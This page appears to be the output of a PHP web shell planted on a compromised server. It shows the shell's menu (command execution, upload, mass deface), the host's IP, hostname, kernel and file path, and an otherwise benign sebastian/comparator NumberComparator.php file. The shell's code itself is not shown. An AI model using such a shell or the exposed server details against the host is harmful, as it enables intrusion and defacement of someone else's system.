���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
vendor
/
sebastian
/
comparator
/
src
/
Viewing: NumberComparator.php
<?php declare(strict_types=1); /* * This file is part of sebastian/comparator. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Comparator; use function assert; use function is_int; use function is_numeric; use function is_string; use function max; use function number_format; use BcMath\Number; final class NumberComparator extends ObjectComparator { public function accepts(mixed $expected, mixed $actual): bool { return ($expected instanceof Number || $actual instanceof Number) && ($expected instanceof Number || is_int($expected) || is_string($expected) && is_numeric($expected)) && ($actual instanceof Number || is_int($actual) || is_string($actual) && is_numeric($actual)); } /** * @param array<mixed> $processed * * @throws ComparisonFailure */ public function assertEquals(mixed $expected, mixed $actual, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false, array &$processed = []): void { if (!$expected instanceof Number) { assert(is_string($expected) || is_int($expected)); $expected = new Number($expected); } if (!$actual instanceof Number) { assert(is_string($actual) || is_int($actual)); $actual = new Number($actual); } $deltaNumber = new Number(number_format($delta, max($expected->scale, $actual->scale))); if ($actual < $expected - $deltaNumber || $actual > $expected + $deltaNumber) { throw new ComparisonFailure( $expected, $actual, (string) $expected, (string) $actual, 'Failed asserting that two Number objects are equal.', ); } } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa